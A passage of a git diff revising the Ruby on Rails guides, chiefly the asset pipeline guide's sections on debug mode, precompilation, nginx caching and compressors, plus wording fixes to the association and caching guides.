an application. -For some assets (like CSS) the compiled order is important. You can specify individual files and they will be compiled in the order specified: +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: <plain> /* ... @@ -208,98 +251,159 @@ For some assets (like CSS) the compiled order is important. You can specify indi h4. Preprocessing -The file extensions used on an asset will determine what preprocessing will be applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file will be generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. -When these files are requested, they will be processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of pre-processing can be requested by adding other extensions, where each extension will be processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ would first be processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file - +app/assets/javascripts/projects.js.coffee.erb+ would be process as ERB, CoffeeScript and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. -Keep in mind that the order of these pre-processors is important. For example, if we called our JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore we would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. h3. In Development -In the development environment assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-validate+ Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (not-modified) response. - -If any of the files in the manifest have changed between requests, the server will respond with a new compiled file. - -h4. Debugging Assets +In development mode assets are served as separate files in the order they are specified in the manifest file. -You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL and Sprockets will expand the lines which load the assets. For example, if we had an +app/assets/javascripts/application.js+ file containing these lines: +This manifest +app/assets/javascripts/application.js+: <plain> -//= require "projects" -//= require "tickets" +//= require core +//= require projects +//= require tickets </plain> -By default, this would only render this line when used with +<%= javascript_include_tag "application" %>+ in a view or layout: +would generate this HTML: <html> -<script src='/assets/application.js'></script> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> </html> -When the +debug_assets+ parameter is set, this line will be expanded out into three separate lines, separating out the combined file into their parts. +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: <html> -<script src='/assets/application.js'></script> -<script src='/assets/projects.js'></script> -<script src='/assets/tickets.js'></script> +<script src="/assets/application.js" type="text/javascript"></script> </html> -This allows the individual parts of an asset to be rendered and debugged separately. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. + +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. h3. In Production -In the production environment, assets are served slightly differently. +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. -On the first request the assets are compiled and cached as described above, however the manifest names are altered to include an MD5 hash. Files names typically will look like these: +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. -<plain> -/assets/application-908e25f4bf641868d8683022a5b62f54.js -/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css -</plain> +For example this: -The MD5 is generated from the contents of the compiled files, and is included in the HTTP +Content-MD5+ header. +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> -Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +generates something like this: + +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). -This behavior is controlled by the setting of +config.action_controller.perform_caching+ setting in Rails (which is +true+ for production, +false+ for everything else). This value is propagated to Sprockets during initialization for use when action_controller is not available. +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. h4. Precompiling Assets -Even though assets are served by Rack::Cache with far-future headers, in high traffic sites this may not be fast enough. +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Rails comes bundled with a rake task to compile the manifests to files on disc. These are located in the +public/assets+ directory where they will be served by your web server instead of the Rails application. +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. The rake task is: <plain> -rake assets:precompile +bundle exec rake assets:precompile </plain> -You can run this as part of a Capistrano deployment: +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: <erb> -before 'deploy:symlink' do - run "cd #{release_path}; RAILS_ENV=#{rails_env} rake assets:precompile" -end +load 'deploy/assets' </erb> -If you are not precompiling your assets, and you are using the default cache file store (which is the file system), you will need to symlink +rails_root/tmp/cache/assets+ from the shared folder that is part of the Capistrano deployment structure in order to persist the cached file between deployments. +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. -TODO: Extend above task to allow for this and add task to set it up (See commits 8f0e0b6 and 704ee0df). Note: Capistrano folks are working on a recipe - update this when it available (see https://github.com/capistrano/capistrano/pull/35). +It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. -The default matcher for compiling files will include +application.js+, +application.css+ and all files that do not end in +js+ or +css+: +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + +The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: <ruby> -[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] </ruby> -If you have other manifests or individual stylesheets and JavaScript files to include, you can append them to the +precompile+ array: +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: <erb> -config.assets.precompile << ['admin.js', 'admin.css', 'swfObject.js'] +config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] </erb> +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: + +<plain> +--- +rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png +jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js +jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js +application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js +application.css: application-8af74128f904600e41a6e39241464e03.css +</plain> + +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). + +h5. Server Configuration + Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. For Apache: @@ -318,45 +422,102 @@ For Apache: </LocationMatch> </plain> -TODO: NGINX instructions +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; -When files are precompiled Sprockets also creates "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disc. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the public/assets folder. The following configuration options can be used: + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> -TODO: Apache instructions +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +Nginx is able to do this automatically enabling +gzip_static+: -h3. Customizing the Pipeline +<plain> +location ~ ^/(assets)/ { + root /path/to/public; + gzip_static on; # to serve pre-gzipped version + expires max; + add_header Cache-Control public; +} +</plain> + +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +Unfortunately, a robust configuration for Apache is possible but tricky, please Google around. + +h4. Live Compilation +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. + +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline h4. CSS Compression -There is currently one option for compressing CSS - YUI. This Gem extends the CSS syntax and offers minification. +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. -The following line will enable YUI compression, and requires the +yui-compressor+ gem. +The following line enables YUI compression, and requires the +yui-compressor+ gem. <erb> config.assets.css_compressor = :yui </erb> -The +config.assets.compress+ must be set to +true+ to enable CSS compression +The +config.assets.compress+ must be set to +true+ to enable CSS compression. -h4. JavaScript +h4. JavaScript Compression Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. -The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compress your code by removing white spaces and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. -The following line will invoke uglifier for JavaScript compression. +The following line invokes +uglifier+ for JavaScript compression. <erb> -config.assets.js_compressor = :uglifier +config.assets.js_compressor = :uglifier </erb> The +config.assets.compress+ must be set to +true+ to enable JavaScript compression +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Using Your Own Compressor -The compressor config settings for CSS and JavaScript will also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. <erb> class Transformer @@ -366,7 +527,7 @@ class Transformer end </erb> -To enable this pass a +new+ Object to the config option in +application.rb+: +To enable this, pass a +new+ Object to the config option in +application.rb+: <erb> config.assets.css_compressor = Transformer.new @@ -387,21 +548,20 @@ This is a handy option if you have any existing project (pre Rails 3.1) that alr h4. X-Sendfile Headers -The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. In production Rails (via Sprockets) does not send the asset - just the location and a zero-length response - relying on the web server to do the file serving, which is usually faster. Both Apache and nginx support this option. +The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. -The configuration is available in <tt>config/environments/production.rb</tt>. +Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>. <erb> -config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx </erb> -You should check that your server or hosting service actually supports this, otherwise comment it out. - WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior. h3. How Caching Works -Sprockets uses the default rails cache store to cache assets in dev and production. The only difference is file names are fingerprinted and get far-future headers in production. +Sprockets uses the default Rails cache store to cache assets in development and production. TODO: Add more about changing the default store. @@ -414,3 +574,88 @@ A good example of this is the +jquery-rails+ gem which comes with Rails as the s h3. Making Your Library or Gem a Pre-Processor TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. + +h3. Upgrading from Old Versions of Rails + +There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types. + +The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. + +In +application.rb+: + +<erb> +# Enable the asset pipeline +config.assets.enabled = true + +# Version of your assets, change this if you want to expire all your assets +config.assets.version = '1.0' + +# Change the path that assets are served from +# config.assets.prefix = "/assets" +</erb> + +In +development.rb+: + +<erb> +# Do not compress assets +config.assets.compress = false + +# Expands the lines which load the assets +config.assets.debug = true +</erb> + +And in +production.rb+: + +<erb> +# Compress JavaScripts and CSS +config.assets.compress = true + +# Choose the compressors to use +# config.assets.js_compressor = :uglifier +# config.assets.css_compressor = :yui + +# Don't fallback to assets pipeline if a precompiled asset is missed +config.assets.compile = false + +# Generate digests for assets URLs. +config.assets.digest = true + +# Defaults to Rails.root.join("public/assets") +# config.assets.manifest = YOUR_PATH + +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) +# config.assets.precompile += %w( search.js ) +</erb> + +There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. + +The following should also be added to +Gemfile+: + +<plain> +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', "~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end +</plain> + +If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement. + +<ruby> +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end +</ruby> + +Instead of the old Rails 3.0 one + +<ruby> +# If you have a Gemfile, require the gems listed there, including any gems +# you've limited to :test, :development, or :production. +Bundler.require(:default, Rails.env) if defined?(Bundler) +</ruby> diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile index ce4ff0389d..6829eb8ef4 100644 --- a/railties/guides/source/association_basics.textile +++ b/railties/guides/source/association_basics.textile @@ -211,7 +211,7 @@ end h4. Choosing Between +belongs_to+ and +has_one+ -If you want to set up a 1–1 relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? +If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: @@ -566,7 +566,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @customer = @order.create_customer(:customer_number => 123, @@ -576,7 +576,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +belongs_to+ -In many situations, you can use the default behavior of +belongs_to+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +belongs_to+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Order < ActiveRecord::Base @@ -671,7 +671,7 @@ WARNING: You should not specify this option on a +belongs_to+ association that i h6(#belongs_to-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Order < ActiveRecord::Base @@ -760,9 +760,9 @@ h6(#belongs_to-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#belongs_to-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @order.customer.nil? @@ -834,7 +834,7 @@ The <tt>build_<em>association</em></tt> method returns a new object of the assoc h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations). +The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @account = @supplier.create_account(:terms => "Net 30") @@ -842,7 +842,7 @@ The <tt>create_<em>association</em></tt> method returns a new object of the asso h5. Options for +has_one+ -In many situations, you can use the default behavior of +has_one+ without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_one+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Supplier < ActiveRecord::Base @@ -902,7 +902,7 @@ If you set the +:dependent+ option to +:destroy+, then deleting this object will h6(#has_one-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Supplier < ActiveRecord::Base @@ -954,7 +954,7 @@ The +:order+ option dictates the order in which associated objects will be recei h6(#has_one-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_one-readonly). +:readonly+ @@ -980,9 +980,9 @@ h6(#has_one-validate). +:validate+ If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. -h5(#has_one-how_to_know_whether_theres_an_associated_object). How To Know Whether There's an Associated Object? +h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? -To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: +You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: <ruby> if @supplier.account.nil? @@ -1147,7 +1147,7 @@ The <tt><em>collection</em>.build</tt> method returns one or more new objects of h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @order = @customer.orders.create(:order_date => Time.now, @@ -1156,7 +1156,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_many+ -In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Customer < ActiveRecord::Base @@ -1229,17 +1229,15 @@ end If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. -If you need to evaluate conditions dynamically at runtime, you could use string interpolation in single quotes: +If you need to evaluate conditions dynamically at runtime, use a proc: <ruby> class Customer < ActiveRecord::Base has_many :latest_orders, :class_name => "Order", - :conditions => 'orders.created_at > #{10.hours.ago.to_s(:db).inspect}' + :conditions => proc { "orders.created_at > #{10.hours.ago.to_s(:db).inspect}" } end </ruby> -Be sure to use single quotes. - h6(#has_many-counter_sql). +:counter_sql+ Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. @@ -1262,7 +1260,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class Customer < ActiveRecord::Base @@ -1345,7 +1343,7 @@ end h6(#has_many-primary_key). +:primary_key+ -By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. +By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. h6(#has_many-readonly). +:readonly+ @@ -1551,7 +1549,7 @@ The <tt><em>collection</em>.find</tt> method finds objects within the collection :conditions => ["created_at > ?", 2.days.ago]) </ruby> -NOTE: Starting Rails 3, supplying options to +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. +NOTE: Beginning with Rails 3, supplying options to the +ActiveRecord::Base.find+ method is discouraged. Use <tt><em>collection</em>.where</tt> instead when you need to pass conditions. h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> @@ -1576,7 +1574,7 @@ The <tt><em>collection</em>.build</tt> method returns a new object of the associ h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. <ruby> @assembly = @part.assemblies.create( @@ -1585,7 +1583,7 @@ The <tt><em>collection</em>.create</tt> method returns a new object of the assoc h5. Options for +has_and_belongs_to_many+ -In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: <ruby> class Parts < ActiveRecord::Base @@ -1619,7 +1617,7 @@ The +has_and_belongs_to_many+ association supports these options: h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: @@ -1687,7 +1685,7 @@ Normally Rails automatically generates the proper SQL to fetch the association m h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ -By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: <ruby> class User < ActiveRecord::Base @@ -1855,17 +1853,8 @@ class Customer < ActiveRecord::Base end </ruby> -Extensions can refer to the internals of the association proxy using these three accessors: - -* +proxy_owner+ returns the object that the association is a part of. -* +proxy_reflection+ returns the reflection object that describes the association. -* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. - -h3. Changelog +Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor: -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* April 19, 2009: Added +:touch+ option to +belongs_to+ associations by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy -* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. -* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* +proxy_association.owner+ returns the object that the association is a part of. +* +proxy_association.reflection+ returns the reflection object that describes the association. +* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile index ae56911441..4273d0dd64 100644 --- a/railties/guides/source/caching_with_rails.textile +++ b/railties/guides/source/caching_with_rails.textile @@ -188,7 +188,7 @@ end You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire: <ruby> - expire_action(:controller => 'products', :action => 'edit', :id => product) +expire_action(:controller => 'products', :action => 'edit', :id => product.id) </ruby> Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following: @@ -403,16 +403,3 @@ end h3. Further reading * "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails - - -h3. Changelog - -* Feb 17, 2011: Document 3.0.0 changes to ActiveSupport::Cache -* May 02, 2009: Formatting cleanups -* April 26, 2009: Clean up typos in submitted patch -* April 1, 2009: Made a bunch of small fixes -* February 22, 2009: Beefed up the section on cache_stores -* December 27, 